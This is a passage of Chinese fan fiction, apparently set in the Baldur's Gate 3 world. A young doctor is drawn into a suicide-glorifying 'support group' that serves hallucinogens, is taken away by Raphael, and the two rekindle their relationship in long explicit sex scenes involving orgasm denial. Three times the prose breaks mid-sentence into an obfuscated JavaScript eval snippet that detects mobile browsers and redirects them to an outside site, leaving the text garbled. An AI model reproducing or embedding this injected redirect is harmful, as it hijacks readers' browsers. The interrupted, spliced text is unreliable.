“冥想互助小组。”影心重复一遍,评价道,“听上去有点蹊跷。” “是吗?”塔夫有些被冒犯到了,“是医院里组织的。和你的戒酒互助小组差不多。” 影心慢慢重新坐下,语气变得小心斟酌起来:“如果你觉得不太舒服,压力大,想要找人聊聊,我这周随时有空。”她顿了下,“你下次互助会是什么时候?不如我和你一起去看看?或者不如干脆直接休息一段时间?我们一起散散心。你从住院实习开始,就一直没有请过假吧。” 塔夫仔细瞧了眼影心,忽然想起马鲁斯告诫她们不要透露太多互助小组的事。 因为不是每个人都能理解她们的痛苦和感受,也并不知道什么才是真正的治疗,外界的介入反而会让事情变得复杂起来,于事无益。 塔夫抿抿嘴,敷衍说:“等这次轮转实习结束,我会考虑休假的。最近,都没有互助会。”她像是需要解释什么地补充一句,“所以我压力才积攒得有点多。” …… “自戕是真正的、也是唯一一个严肃的人生命题。 “唯有巨大的痛苦,才能迫使一个人下降到女神……所在的终极深渊。”[1] 马鲁斯递给每人一只小杯子,里面装着紫色的明亮液体, “让我们一起去往超脱肉/体的精神世界,享受濒死的狂喜吧!” 塔夫捏着杯子。 好像,真的,有些,不对劲。 马鲁斯似乎正盯着她,嘴唇慢慢绷直。然而他没有任何劝说,一抬下巴,自己先喝光杯中之物,叹息一声放松地向后仰倒。更多人跟随他,纷纷懒在地上,仿佛陷入共同的极乐之中,有几人已经无法控制地发出愉快而又满足的呓语和呻吟。 除塔夫外,还另有两人有所犹豫,见状也先后喝下,眼球很快颤抖着向上翻去。 塔夫仔细闻了闻杯子。 淡淡的苦味。 她皱了皱鼻子。应该只是□□物一类的致幻剂。 只是? 塔夫望着杯子,手发起抖来,蜷缩身体侧倒卧在垫子上,到底还是把药剂洒在地毯里。 蜡烛燃烧的熏香和烟味让她有些头晕。 . 什么会让她感到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826436|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大的痛苦。 是死亡本身吗? 也许与永恒的离别相比,更让她感到痛苦的是没有机会好好道别。 母亲、姐姐、明斯克、影心、好久没有联系的菲拉和里萨…… 拉斐尔。 她也好久没有听到拉斐尔的消息了。 她和他真的结束了。 妈妈。 她从来没有和她真正道别。 . 不知过了多久。 呓语和呻吟声渐渐停止,开始有人慢慢爬起。塔夫又等了好一会才睁开眼睛,表情茫然地从垫子上坐起身,却正对上马鲁斯的镜片后的视线。 “在等待其他人从终极中返回时,不如让我们分享一下刚才的感受。”他缓缓说道。 塔夫仍眼神涣散的模样,于是更清醒的几人先描述起来。[1] “明亮的紫光在舞蹈,膨胀,扩张,变化出种种不可思议的图案。” “感到一种暂时却又永恒的纯粹的存在。” “我所感到的濒死,更像是一种自我的消失,溶解在似乎联通着的周围环境中,我即世界,我即一切。” …… 自我消融。 塔夫曾无数次在拉斐尔身旁体会到这一感觉。 热流从核心蔓延到四肢,仿佛能将她融化一般。 她忍不住轻叹一声,又立刻抿住唇。然而在马鲁斯和众人的目光中,她却像是受到什么逼迫也许是得到鼓励,回忆起自己与拉斐尔最后一次亲密,那在窒息的临界点汹涌而至的潮水。 死亡的恐惧让感官无比强烈,却又被牢牢压抑。当意识到死亡并没有降临的那一刻,所有的感官猛地聚集爆发,她却真的感受到了灭顶的终结,一瞬间失去呼吸也失去自己,接着是极大的释放与解脱。而因为心无旁骛,那一瞬的时间被延长到仿佛没有尽头。 她感到小腹一阵灼热,大腿肌肉微微紧缩颤抖。 塔夫不由自主地打了个哆嗦,咬住唇,盯着自己的膝盖,手指用力掐在腿上。 她到底是怎么了。 其他人纷纷感谢她分享如此私密的知觉和感受,让他们也体会到了强烈的死亡极乐的滋味。 马鲁斯也微笑起来:“你做得很好。” 塔夫陷入一种更深的无力中。 她真懦弱,真没用,欺骗自己,连能够治疗拯救自己的办法都不敢尝试。 . 接下来两天,互助会将没有中断地一直进行下去。 参与者可以某些时间段里自由来去,不过大部分人都不会离开。如果需要休息,一楼的厨房备有面包、奶酪、干果、熏肉和水。二楼除了反锁住的书房,都可以用作卧室。 塔夫心不在焉地数着干果种类,思忖要不要晚点离开,鼓起勇气再试一次,手臂忽然碰到另一个人。 是马鲁斯。 他站在她身旁,离她很近: “我已经等不及知道你下次会有什么感知。”他嘴里散出残留的淡淡苦味和腥气,又伸手揽住她肩膀,“你很敏感,也很有天赋。” 塔夫几乎想要呕吐:“我一会就得回去了。”她微微偏过头,“明天还要早起。” “我记得你明天是晚班。”马鲁斯望着她,“为什么现在回去?” 厨房里安静下来。 似乎每一个人都在望着她。 视线粘腻,带着某种谴责和质问。 马鲁斯靠得更近:“你并不想离开的,不是吗?” 苦腥气更加浓稠。 塔夫忽然不寒而栗,屏住呼吸,猛地甩开马鲁斯,径直朝大门冲。她始终没有回头,一把抓下外套拉开门。 门外居然一片人影幢幢。塔夫只怔愣半秒,就飞扑过去。 “塔夫。”拉斐尔接住她,俯身紧紧环住,轻轻叹了一口气。 塔夫双臂死死搂在他腰间,脸埋在他肩膀,闭上眼睛贴着他颈侧深深呼吸。 真好闻。 在两队焰拳士兵的目不斜视中,拉斐尔抱起塔夫离开。 . 125.破晓 陷入柔软的坐垫,听到马车车轮规律地响起,塔夫这才缓缓回过神来: “你怎么会在马鲁斯医生的互助会?焰拳又是去那里做什么?” “互助会?”拉斐尔在她对面坐下,重重哼一声,“那是诱人自杀以向女神莎尔供奉的邪.教徒的巢穴。” “女神莎尔?”塔夫似乎在哪里听过这个名字,努力回忆思索起来, “是影心或哈尔辛跟你说了什么吗?影心小时候曾被诱骗到莎尔的教会!糟了我不应该乱说!” “别担心,我知道,我和你说过他们也是我的朋友。不过我很惊讶原来你还留有任何思考的能力。”拉斐尔声音越来越轻越来越低,语速却越来越快, “而这就是你那聪明脑袋替自己做出的决定?! “当你需要帮助的时候,宁可选择参加满是破绽的一屋子陌生人的互助会,也不肯向离医院只有十几分钟距离的我求助。还想要瞒着影心?如果影心没有注意到异常呢?如果我这周恰好不在呢?!如果我知道你会如此,当初就应该……” 他忽然顿住,急促地大声呼吸起来。 塔夫其实有些后怕,但刚才和被拉斐尔指着鼻子骂愚蠢没什么区别,立刻反驳: “马鲁斯可从来没有提到过女神莎尔!他引导我们做痛苦冥想时的话和我读过的很多书里一致!和我的感受也完全相符!当初要不是有他的帮忙我可能早就崩溃了!我看你是误会影心的意思又搞错什么了吧!” “哈!你居然还在为那个人渣辩护?!你站起来干什么?给我坐好!” “你少管我!你根本就没有权利管我!让我下去!停车!否则我跳车了!” 马车却正好减速停下。 塔夫立刻跳下车,面前是栋砖石小房子,仍然令她感到无比熟悉,仿佛过去两年始终住在这里。 她不由得怔愣:“我们为什么会在这儿?” “你认为呢?”拉斐尔直接拦腰扛起她。塔夫肚子卡在他肩膀,脑袋忽然向下冲着地面,一时又一阵恶心。不等她捶打反抗几次,拉斐尔已经推开大门,一把将她按进沙发里,“在你有机会把自己弄进更大的麻烦之前,先老老实实在这儿待几天,哪儿都别去!” “你不能这么做!”塔夫一下弹坐起来,“我明天在医院还有晚班呢!你不能关着我!” “哦?我不能?你真的认为我没有这个能力?”拉斐尔牢牢扣住她四肢,“如果不想我把你绑起来就闭上嘴。当你差一点就把自己送上祭坛丢掉性命的时候,就别再想着什么该死的医院了!” “你放开我!你到底在说什么?哪有那么夸张。就算那真的是莎尔教会,我当时也已经要离开了!我自己就能发现不对,用不着你来帮我!” 塔夫几次挣扎无果,反而越来越陷进拉斐尔怀里,更加无法动弹,甚至觉得这其实是一个久违的拥抱。她被自己的念头惊到,口不择言起来, “你自己难道不清楚吗!?我不向你求助的原因!不过之前抱了那么一下,你就硬了一路!别以为你刚才一直坐着或者现在弓着我就不知道!对分手已经两年的女友还能发情到这种程度,你认为我应该接近你吗!?” 拉斐尔一僵,塔夫扭身想要趁机挣开又被重重压住。这次,拉斐尔整个身子都紧紧贴着她甚至挺了一下腰,声音低沉带上沙哑的威胁:“既然你知道的话就更别动。否则我可没办法保证不做出点什么。” 塔夫顿时不敢再动。拉斐尔却始终覆在她身上,嘴唇也贴到她耳旁。他没再说话,压着她的胸膛起伏明显,呼吸一次一次滚烫地落下。塔夫皮肤升起战栗,终于忍不住呻吟:“你好重……好热……”而且不仅仅是他的呼吸。 “塔夫……塔夫……”拉斐尔喘息更加粗沉响亮,声音却低哑下去,“我……塔夫……我该怎么做……” “拉斐尔……” 身上的桎梏松开了,拉斐尔慢慢撑起身,面颊通红,眼睛湿润,和她梦中一模一样。 他表情看上去充满痛苦和忍耐,却也因此格外诱人。在反应过来前,塔夫双手已经捧住拉斐尔脸颊,仰头吻住他。拉斐尔闭上眼睛,用力回吻,舌头舔舐嘴唇又探入口腔。塔夫呼吸急促,捉住他的手向下抚摸自己,拉斐尔拇指重重研磨两下,激得她立刻喘出一声。他手指轻松没入,在她唇边叹息: “原来你也是。” 塔夫抽出他的衬衫,手贴着他小腹紧实的肌肉用指甲刮擦,又探向腰带,舌尖在他牙齿舔蹭着低声说:“你现在知道该怎么做了吗。” 拉斐尔轻轻咬住她的下唇。 两年未使用的机械再次共同运转却没有任何生涩,齿轮和齿槽完美嵌合,每一次转动都无比流畅。 塔夫和拉斐尔一起长长叹出一口气,手搭上他结实的肩膀和后背,又不耐地在他脖子上抓着:“快一点。你在小心什么?我又不是玻璃做的。”拉斐尔轻笑一声抱紧她,顺从了她的指令,两人很快便一起颤抖着到达只有彼此的世界。 小憩时拉斐尔仍始终牢牢抱住她,在她唇齿间低沉地喘息着。塔夫比他先平复呼吸,安慰或赞许似的吻吻他的嘴唇。拉斐尔闷哼一声,再次重重吻住她,重新动作起来。然而这次他不再听从她的节奏指挥,仿佛在练习演奏鲁特琴,每一次都拨动全部琴弦,缓慢却坚定,由低到高滑奏出每一个音阶。 他一次次不厌其烦地弹奏着,像是一定要达到某种完美,直到睫毛被汗水打湿,仍一脸迷醉地倾听滑奏奏响那独有的浓郁甜美的情调,又伴随着激越的清晰饱满和强弱分明。 塔夫在陌生又熟悉的乐声中一次次失去自我,又一次次被召回。 最后她疲惫至极,恍惚中被抱上楼,甚至连洗澡时也只能倚在拉斐尔手臂上,一挨枕头便立刻瘫睡过去。 她侧身而卧面向床外,拉斐尔轻轻躺靠在她身后,温柔地替她把头发擦干又归拢成一束,露出光洁但明显疲惫的脸庞,手指从她的额头一点点向下,慢慢抚摸过她的脖子到肩膀。 塔夫轻轻咕哝一声。 拉斐尔忽然无法忍耐,搂住她腰肢,俯过身,嘴唇贴在她肩膀,又移向后背胛骨,接着沿脊柱向上吻在脖子后,细细密密,啃噬舔吮嘴唇所经之处的每一寸皮肤和头发。 塔夫在睡梦不得安宁,向前缩起身,躲避他的唇齿。 拉斐尔恨不得能狠狠咬住她的脖子。他要完全地占有她,掌控她的每一次反应,控制她全部的感受和思考,直到她彻底失去自我意识,再也没有办法离开他。 可那还是她吗…… 他爱她,不正是因为她是她吗。 拉斐尔忽然察觉脸颊濡湿,伸手摸了摸,却是不知不觉流下眼泪:“我该怎么做……塔夫……我该怎么做……” 仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832803|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛听到他的话,塔夫翻了个身,蜷在他怀里,呼吸平稳悠长。拉斐尔抱住她,叹了口气,阖上眼睛,睡得无比深沉。 …… 醒来时,臂弯里空空的。 拉斐尔撑起身,看到塔夫站在窗前向外望着。 和无数次梦里一样,她一直没有回头。 阳光透过她的皮肤,仿佛金色的细沙滑过沙漏。 细沙飞扬,塔夫也不见了。 但这次和她一起消失的,还有他一直小心保存的她的痕迹。 …… “呜!我无法接受。” “他还那么年轻!他的生活才刚刚开始。呜呜!” “我很抱歉。” 塔夫耐心安抚无法接受独子去世的老夫妇,直到一位资深的护士接替了自己的位置。 她先联系了牧师,然后去食堂吃早餐,来换班的同事提起一件大新闻,据说马鲁斯医生被焰拳带走了。接着她敲响主任医生的办公室——他刚到医院不久——塔夫同他一番确认承诺感激后离开。最后,她终于能够脱下医生外袍,结束这天的实习轮岗。 医院外是初夏清早的阳光,还并不很温暖,但十分明媚。 塔夫左右张望了下,没有看到那个身影。 她相信拉斐尔知道自己在这里实习,但过去一年从没有在医院见过他。也许是因为医院有太多出入口,也许是拉斐尔特意不来“打扰”她的工作。无论如何,她都感激他这么做。 至于一天前的那个晚上。 他和她应该都很清楚,那是一时冲动下的错误。 虽然刚刚连续上了十二个小时的夜班,塔夫其实感受不到多少疲惫,更多的是知道自己应该休息了。当她望见住处的大门时,忽然再次被一种空荡荡的感觉紧紧攫住。 如同打开大门后的房间。 什么都没有。 ……只有极大的痛苦才能填满这种空虚。 塔夫像是一下失去力气,连找钥匙都有些费劲,在背包里摸索好一阵,手指碰到一片温润的树脂琥珀,看到里面的那束头发,才想起钥匙在衣服口袋里。 慢吞吞拉开门,她看到拉斐尔。 他直直盯着她,眼睛泛红,似乎也一夜未睡,又像是在无声质问她去了哪里。 “我在医院。我昨天有夜班。我告诉过你。”塔夫解释后才反应过来,“你怎么在这儿?这是我租的房子。” “我来拿属于我的东西。”拉斐尔朝她走来。 塔夫下意识吞了下口水:“那是我的……” “‘你’在试图和‘我’讨论物品的归属权?”拉斐尔打断她,“还给我。” 塔夫向后退了一步,背靠在门上:“拉斐尔,我们做一个交易。” 拉斐尔在她身前顿住。 “因为你总是有办法的,对吗?”塔夫再次咽了咽口水,终于在拉斐尔压迫感越来越强烈的视线中脱口而出,“你能让我感到极大的痛苦吗?” “哈!哈哈!”拉斐尔忽然无法抑制地大笑起来。 他想让塔夫感到快乐。他想要支持满足她的愿望,哪怕那并不是他想要的。可如果她的愿望是感到痛苦呢? “当我没说。”塔夫飞快取下背包,俯身寻找那块琥珀,拉斐尔却捉住她的手腕。 “塔夫医生,我接受你的交易。” . 126.黎明 塔夫轻轻转了下手腕。 拉斐尔松开钳住她的手:“我知道什么会让你痛苦,以及你为什么会感到崩溃。” 他低声说, “你以为你可以救下每一个人,失败了便责备自己?你并没有这种能力。恰恰相反,你甚至把自己的生活都搞得一团糟。” “你是在试图用这种话语刺痛我吗?”塔夫怔愣片刻, “这对我没用,因为我早就已经从死亡的冲击走出来了。” 塔夫看到拉斐尔蹙眉,望着她一副思索和倾听的表情,心里不由得生出怀念,忍不住微笑起来,像是一下回到以前和他无话不谈的时候, “我已经对死亡习以为常了。我现在能够有技巧地通知家属噩耗,陪着他们安慰他们。” “但你仍在参加互助小组的活动?” “嗯。因为我,”塔夫顿了下,“其实不太能感觉到难过。 “我也不太能描述出那种感觉。我知道什么是悲伤的。我很清楚。比如今天早上,我就在两个人面前,亲眼看着他们掉眼泪。可我什么也感受不到!什么都没有!我简直像是,一具尸体,一个没有心的构造体,没有任何感受,好像失去对自己身体和情绪的使用和控制。 “不过,我可以通过体会更强烈的痛苦从这种麻木中解放,这是马鲁斯告诉……” “别再提什么马鲁斯了!”拉斐尔厉声打断她,眼睛变得更加通红,看上去像是暴怒,却也像是蓄满眼泪, “你因为无法感受到别人的情绪,所以认为自己失去同理心,离自己的初衷越来越远? “醒醒吧塔夫。你已经做得足够多了!” 他表情和话里都忽然带上狠意, “你想与每一个人共鸣,感受他们的痛苦?那并不能说明你有‘心’。 “你其实只是把被抛弃在医生那里的自己投射联结在他们身上。你想通过共情患者让自己重新体会小时候的痛苦,又通过帮助他们来拯救自己从而感到满足,最后还能通过共情家属的难过来幻想你母亲当时的心情、体会她对你的爱。 “接受这个事实,塔夫,你无法改变母亲丢下你的过去,也无法通过这种方式拯救小时候的自己,更无法从别人身上获得你母亲的爱。你不能。” 塔夫像是被在鼻子上狠狠打了一拳。 眼前一片血红,耳朵里响起嗡鸣,嘴里也尝到淡淡的血腥味。 这是她曾对拉斐尔说过的话。 无论当时那让自己多么如释重负,现在都变成了直接攻向自己的锐利武器。 她知道自己在颤抖,却站得更加笔直,用力呼吸几次: “那你呢?” 她声音冷了下来, “既然你知道过去无法改变,为了我的几根头发来这里又是为什么?你难道不知道吗,拉斐尔,我们已经结束了。” 拉斐尔张开嘴大口呼吸,样子像是一条被抛到岸上的鱼:“你要求的交易是……” “不,你没有让我感到痛苦。你根本做不到。”她语气愈发尖利讥讽,“事实上,现在感到痛苦的是你,因为你明知道我们彻底结束了,却无法接受这个事实。提了分手又后悔?你不会以为我能答应你吧。” “塔夫。请别这样说。”拉斐尔垂下眼睛,“也请感受我、同情我、怜悯我吧……我真的不……” 塔夫上前一步,贴在他身前,仰着头继续望向他的眼睛。拉斐尔一下屏住呼吸,身子也紧绷起来。 “我对你的感受再清楚不过了。”塔夫手指点上他大腿外侧,沿着他结实的肌肉走了半圈,拉斐尔微微颤抖起来,塔夫手稍稍用力握住,意味深长地“唔”一声。 拉斐尔无法克制地喘吸一口气,声音带着不确定的喜悦和期待:“塔夫。我们……” “我们刚才说了什么,会让你有这种反应?”塔夫轻声对他说,“你真没用。”她面无表情地松开手,“既然你没办法,那我不需要你了。” 拉斐尔脸色瞬间变得惨白,喉咙里发出很低的一声哽咽。他像是放弃一般合上眼睛,身体被冰冷的火焰包裹。 “你想要感受到极大的痛苦?”磁性低沉的声音响起。 火焰落下,塔夫重新望见拉斐尔。 他的五官被红色皮肤和弯曲双角衬托得更加英俊,琥珀色的明亮瞳仁变成金色竖瞳。与他再次对视时,塔夫不由自主地打了一个寒颤,却也从中看到一种灼热的希望。 那几乎是如马鲁斯所说的,濒死的狂喜。 魔鬼总是有办法的。 拉斐尔捏住塔夫仍微微扬起的下巴: “对自己失去掌控的无力感总是会带来痛苦,但那与另一种相比,不过是小巫见大巫。” 他仔细而又极为耐心地亲吻她的额头、眼睛、脸颊,每一次亲吻都带着诱人的龙舌兰香。 塔夫感到自己从小腹升起一股热流,带着震颤的火花卷向全身。拉斐尔的气息仿佛带着一种奇妙的蛊惑,让她心跳加快,呼吸急促,而他却连语速都没有改变半分: “当你以为幸福就在眼前,当你以为心愿马上要得到实现,当你以为自己与那个希望的‘临界点’无比接近。 “突然,这一切都终止了。 “一次,又一次。” 拉斐尔终于吻在她唇上,轻轻一触便离开。塔夫难耐地喘叹一声,下意识地咽了咽口水。拉斐尔垂眼望着她: “被动的失控更能加剧这种痛苦。”他的眼瞳被金色覆盖,“这真的是你想要的吗,塔夫。” “是的。”塔夫点点头,“请给我这一切。” “如你所愿。”拉斐尔用力吻住她,声音几不可闻,“游戏开始。” …… 塔夫差点忘记她所要求的是痛苦。 如同新年那晚的梦境,拉斐尔舌头灵巧地在她口腔里挑逗,与她舌头纠缠,手指沿着她的锁骨向下抚摸,熟练地揉弄打转。塔夫享受地闭上眼睛,在拉斐尔唇齿间喘息,无法相信自己居然只靠上身便能得到如此多的快乐。当拉斐尔手指灵活地挤压又用指甲刮擦时,塔夫下意识地抓紧拉斐尔后背,摸到他坚韧的翅膀根部。 拉斐尔在她唇边轻轻呵了一声:“你是在试图诱惑我吗?” 塔夫忍不住呻吟:“继续呀。” 然而拉斐尔却停下了。 明明只差一点…… 塔夫不可置信地睁开眼睛,正对上拉斐尔的视线,他懒洋洋地抚摸她的脸颊,拇指有些重地压在她嘴唇上: “你感受到了吗?痛苦。” 塔夫慢慢呼出一口气,喉咙里像是抱怨地咕哝一声,手刚一动作想要依靠自己,便被拉斐尔的尾巴牢牢扣住手腕:“这和我们说好的可不太一样,塔夫。” …… 一次又一次。 塔夫等待着那一刻的降临,肌肉绷紧到数次痉挛,精神更是无比集中到疼痛。可无论温柔或激烈,缓慢细腻或粗暴直接,她都永远也无法到达那一刻。 仿佛一根弹簧被不断拉长或逐渐压紧,直到极限又极限,只等松开手时可以猛烈地回弹! 然而那双手却每次都在刚要松开的那一刻重新按住,让它慢慢地回落。 汗水从皮肤上滴落,塔夫脸颊涨红,因为无法得到满足的痛苦和一次次升起的期待全身颤抖,声音从抗议变成恳求,几次想要咒骂拉斐尔是个魔鬼。 他的确是魔鬼。 拉斐尔仍在仔细亲吻她,舌头娴熟而又耐心地研磨,偶尔用嘴唇有节奏地吮吸,再用舌尖卷走晶亮水渍。塔夫感到自己正在又一次逐渐失去控制,期待而又近乎绝望地抓住拉斐尔的双角,弓起后背,蜷起脚趾。 她眼前已经能看到允诺的幸福,如此近在咫尺,只要再一次。 再舔一次,再吮一次。 然而, 是又一次。 塔夫理智被撕扯着抛开,终于落下眼泪:“好难受……” 拉斐尔安抚地舔去她的眼泪,轻轻吻着她的嘴唇,却在她几乎止住哭泣时,手指重新动作,毫不留情地刮按起来。塔夫的哭声立刻变了一个调,喉咙里跟着发出失控的喘泣。可眼前一片模糊中,她看到拉斐尔观察甚至玩弄的视线,立刻清楚这次也不会有任何结果。 她忽然生出力气,在他手臂上又掐又推:“你这个混……呜……嗯……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840867|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 拉斐尔的轻笑在她耳边响起,塔夫后背爬上一股寒意,感官却炽热地汇集向一点。 然后…… 消失了。 这次,她甚至发不出声音。 混蛋。 魔鬼。 这就是她要求的交易。 或者游戏…… 她反应过来什么,一下张大口呼吸,结果呛到自己,剧烈咳嗽起来,眼角噙着泪,满脸通红: “我认输……咳……请结束吧……咳咳……我认输……” 拉斐尔手指贴在下巴,似乎在仔细思考她的请求,眼里也像是带着一种她熟悉的温情和柔软。塔夫心中燃起希望,抬起头,目不转睛地望着他。 拉斐尔眼睛和嘴唇都弯弯的:“不。我们不会结束。” 塔夫重重向后跌回床上,几近崩溃,蜷起身子大声抽噎起来:“混蛋!拉斐尔你这个混蛋!好难受……好疼……已经够了……” 拉斐尔一只手在她后背爱怜地安慰着,另一只手轻柔地为她擦拭眼泪。 塔夫慢慢平静下来,紧绷的身体也渐渐放松,虽然仍有不适,但这片安宁太过难得,她简直能这样睡去。她多希望自己就能这样睡过去。拉斐尔却再次亲吻她,抚摸她,让她不受控制地重新发出甜美却又痛苦的喘息。 他温柔地拥抱她,轻轻咬住她的嘴唇。 机器两天前刚熟悉调试完毕,此时更早已准备就绪随时可以运转。部件无比契合,摩擦发出有节奏的声响。水很快便再次到达将沸未沸的边缘。 幸福那么近,却又那么远。 塔夫大脑仿佛机器中一块熔化的金属,恨不得能抓起滚烫流动的熔金全部扔向水中,让其彻底沸腾。她的嗓子已经沙哑,只能低声呜咽:“求你……拉斐尔……我错了……” “真的吗。”拉斐尔温柔地摸摸她的脸颊。 “请原谅我……呜……呜……” 拉斐尔轻轻推进:“说。你想要我****你,直到你**” “是的……是的!” “重复我刚才的话。” “……”塔夫张开嘴,却无法说出口。 “你听到我刚才说了什么。”拉斐尔柔声道。 塔夫感到脑中的弦被彻底烧断,哑着声音重复:“请你……” “不要漏字。‘你想要我’。” “我想要你!我想要你****我直到我**!” “做得很好。”拉斐尔将水升高一度,却只是维持在沸腾边缘,“说。你想要我完全地占有你。一直说,不要停。” 塔夫立刻抽泣着重复道:“我想要你完全地占有我。我想要你……” “说,你想要我掌控你的全部感受。” “我想要你掌控我的全部感受。” …… 一次次重复中,塔夫终于看到明亮的希望,拉斐尔却停下了。 理智已经彻底烟消云散,塔夫知道自己没办法再承受一次,哀求起来:“别这样……别这样对我……拉斐尔……拉斐尔……” “……说。”拉斐尔声音也已经变得沙哑,“你想我。” “我想你。我想……?” 塔夫一顿,见拉斐尔眼睛颜色暗下去,手指也忽然收紧。然而她和拉斐尔始终十指紧握,这突如其来的用力让她忍不住皱起眉,却没有呼痛而是又立刻继续说:“我想你,拉斐尔,我真的很想你……” 话出口后她的眼泪突然无法克制地涌了上来, “我想你,拉斐尔,我一直很想你……我一直在梦到你,呜呜……拉斐尔……我想你,我很想你……我好想你……” 拉斐尔身子一颤,狠狠咬住牙,手松开塔夫死死扣在自己大腿上,几乎见血,过了一会才能开口: “……说。你爱我。” “我……呜呜……我啊……呜……” 拉斐尔忽然俯下身,用力吻住她,将她紧紧抱在怀里。 塔夫脸上一片湿润,身体绷紧,终于被她既恐惧又渴望的绝顶洪流淹没,颤抖着,眩晕着,被卷向彼岸的幸福,在雪白而又纯净的浪花里晕睡过去。 . 127.两年 塔夫睡了几乎一整天,睁开眼睛时已经接近傍晚。 身上和床上都被清理过。 她看到拉斐尔坐在自己身旁,眼睛望着她,却似乎没有在看她。 他已经恢复人类的模样,但和以往的一丝不苟不同,衬衫虽然仍扣到最上,但有明显皱褶,头发也有些凌乱,似乎还带着湿意,随意地这里翘起那里垂下。 塔夫慢慢坐起身,发现嗓子干涩得厉害,刚想要张开口,拉斐尔已经递给她一杯水。她费力地吞咽几次,喝水才变得顺利起来,说话时仍有些沙哑: “你又没有好好擦头发。” 因为她口吻中的亲昵,拉斐尔不由得怔忡:“塔夫……” 塔夫像是想起什么:“刚才的游戏你赢了呢。我是不是应该把东西还给你。” 拉斐尔一下抿住唇,把脸埋在掌心,肩膀轻轻颤抖起来:“我并没有。那是你的。” 他不想分什么输赢,他只想和她一起赢,除此之外都是他输掉游戏。 塔夫放下杯子,像是安抚病人那样抚在他肩膀上。拉斐尔忽然抬起脸,紧紧搂住她,头埋在她颈窝。 塔夫忍不住闻了闻。 淡淡的椰子香味,是她的洗发水。 她心情莫名轻快,语气也是如此:“这倒是提醒了我,我们之间一直还有一个游戏没有结束——最后两次的‘我从来没有’。不如今天一起玩掉好了。” 拉斐尔一言不发,头发蹭在她脖子上痒痒的。 “那就我先说。”塔夫双手慢慢环上拉斐尔后背,“我从来没有想要和你分手。这个算吗?是想要,而不是实际的行为。” 拉斐尔已经低声开口:“我从来没有停止想念你。” “我从来没有后悔遇见你。我那样说,是为了故意……” “那是我应得的。”拉斐尔嘴唇贴在她颈侧,“我从来没有停止爱你。” 塔夫轻轻欢呼一声:“至少我一定没有输。” 拉斐尔怔愣,接着立刻紧紧拥吻住她。 塔夫感到脸颊湿润,温柔地回吻,很快又重新倒回床上。但当拉斐尔压上来的时候,她微微撑起手推在他胸膛。 这一次她成功阻止了拉斐尔。 掌下肌肉紧实柔韧,隔着衬衫温度依然滚烫。塔夫还是按了按。手感可真好。 拉斐尔脸颊和眼睛都染着一层红色,几乎有些不知所措地望着她,然后似乎意识到什么,开始解衬衫扣子。 “你在干什么?”塔夫不由得好笑。不过一句话功夫,拉斐尔已经露出大片胸膛。她抿抿唇,“而且,我现在饿了。” 似乎可以理解成别的意思。 她解释一句:“我是真的‘饿’了。” 呃。 再来:“我想吃点什么……” 可恶。 “噗。” 拉斐尔在她额头上吻了下,替她说,“你晚餐想吃什么?食物。比如烤苹果?你,还喜欢……吗?” “我喜欢。”塔夫也笑起来,重新搂住拉斐尔。 两人都没再说话,静静拥抱着。 直到不知谁的肚子咕噜了一声,也许是两个人一起。 塔夫松开手臂,又推推拉斐尔,说自己想吃街角那家家庭餐厅里的土豆烧牛肉:“味道很特别,据说使用了一种来自东方的特殊香料——八角。” …… 家庭餐厅的氛围也很有帮助,吃过晚餐回住处的路上,塔夫已经可以更加自然地对拉斐尔说: “我终于决定休假了。” 她口气有点埋怨, “主任医生发现我整整一年没有休假,把我狠狠批评了一顿,说如果我对自己不负责任,那对病人也是种不负责任。而且还会对其他医生造成不好的影响——仿佛正常休假就是不够努力似的。总之,我这样会给大家增加没有必要的压力和竞争。” 拉斐尔紧紧牵着她的手,只“嗯”了一声。 “嗯一下是什么意思。”塔夫努努嘴,“你是怎么认为的?” 拉斐尔仔细斟酌后回道:“主任医师的话有些道理,不过他的本意一定不是批评你或否定你,而是希望你能够更好地平衡生活,才能更好地工作。” 塔夫笑着瞧他一眼:“无论如何理解,接下来我有四周时间。我准备好好放松一下,也好好想想……一些事。” 拉斐尔思索得更久,最后说:“嗯。” 不过这次塔夫自己说了下去:“其中一些会需要你的参与。很多参与。这段时间你方便吗?” “当然!今晚就可以。也许你可以搬回我们那里……”拉斐尔忽然顿住,像是开始思考这段时间结束后又会如何,而这邀请是否也太过唐突。 “那我一会去收拾下。”塔夫笑眯眯地回道。 . 回到熟悉的主卧房间前。 拉斐尔明显拘束地道过晚安后,塔夫叹口气,拉住他又踮起脚亲吻他。拉斐尔却始终怔愣的模样,四肢更是无比僵硬。塔夫不得不把他用拽的拖到房间里又推到床上。他总算反应过来开始配合,没过一会,就红着脸低声说他忍不住了。 